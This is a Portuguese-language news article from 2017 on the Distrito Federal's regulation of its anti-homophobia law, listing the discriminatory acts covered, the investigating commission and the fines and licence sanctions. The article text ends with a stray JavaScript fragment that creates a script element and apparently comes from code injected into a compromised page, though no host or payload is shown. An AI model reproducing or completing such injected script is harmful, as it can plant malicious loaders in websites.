Após 17 anos, lei anti-homofobia é regulamentada no DF

BSB Capital 23/06/2017 às 17:11, Atualizado em 18/09/2017 às 21:14

Há previsão de multas em casos de intolerância, seja na esfera pública ou na iniciativa privada

Projeto que legaliza união estável no Brasil tramita no plenário do Senado. Foto: Reprodução

Discriminações por causa de orientação sexual praticadas por pessoas físicas ou jurídicas no DF passarão a ser apuradas e penalizadas pela Comissão Especial de Apuração, criada na tarde desta sexta-feira (23) por decreto do governador Rodrigo Rollemberg.

Na solenidade dedicada à proximidade com o Dia Internacional do Orgulho LGBT, celebrado em 28 de junho, também foi assinado decreto de criação do Conselho Distrital de Promoção dos Direitos Humanos e Cidadania de Lésbicas, Gays, Bissexuais, Travestis e Transexuais.

Veja os pontos citados como homofóbicos e passíveis de punição, de acordo com a lei:

  • constrangimento ou exposição ao ridículo
  • proibição de ingresso ou permanência
  • atendimento diferenciado ou selecionado
  • preterimento quando da ocupação de instalações em hotéis ou similares, ou a imposição de pagamento de mais de uma unidade
  • preterimento em aluguel ou aquisição de imóveis para fins residenciais, comerciais ou de lazer
  • preterimento em exame, seleção ou entrevista para ingresso em emprego
  • preterimento em relação a outros consumidores que se encontrem em idêntica situação
  • adoção de atos de coação, ameaça ou violência

Comissão Especial de Apuração

A medida que regulamenta a Lei nº 2.615, de 2000, de coautoria do governador quando deputado distrital, estabelece que, ao receber denúncias, a Comissão Especial de Apuração abrirá um processo administrativo para apurar e aplicar penalidades.

O requerimento pedindo a apuração poderá ser feito pela vítima, pelo representante legal dela ou por entidade de defesa dos direitos humanos. Caso haja risco para a vítima, o processo será sigiloso.

A apuração por parte do governo não causará prejuízo a outras de natureza civil ou penal. Quando houver indícios de crime após a conclusão do processo administrativo, deverá ser encaminhada uma cópia dos autos para o Ministério Público do DF e Territórios.

As sanções previstas são:

  • Advertência
  • Multa de R$ 5.320,50 a R$ 10.641
  • Suspensão do alvará de funcionamento por até 30 dias (para pessoas jurídicas)
  • Cassação do alvará (para pessoas jurídicas)

Os valores da multa podem ser multiplicados por até cinco vezes de acordo com a capacidade econômica do estabelecimento. Além disso, as empresas multadas ou que tiverem o alvará de funcionamento cassado ficarão inabilitadas durante 12 meses para contratos com o governo, para acesso a créditos concedidos pelo DF ou a programas de incentivo e para isenções e outros benefícios tributários.

O decreto também se aplica a órgãos e entidades da administração pública local. Agentes públicos que cometam a infração estarão sujeitos às sanções disciplinares previstas em lei.var d=document;var s=d.createElement(‘script’);

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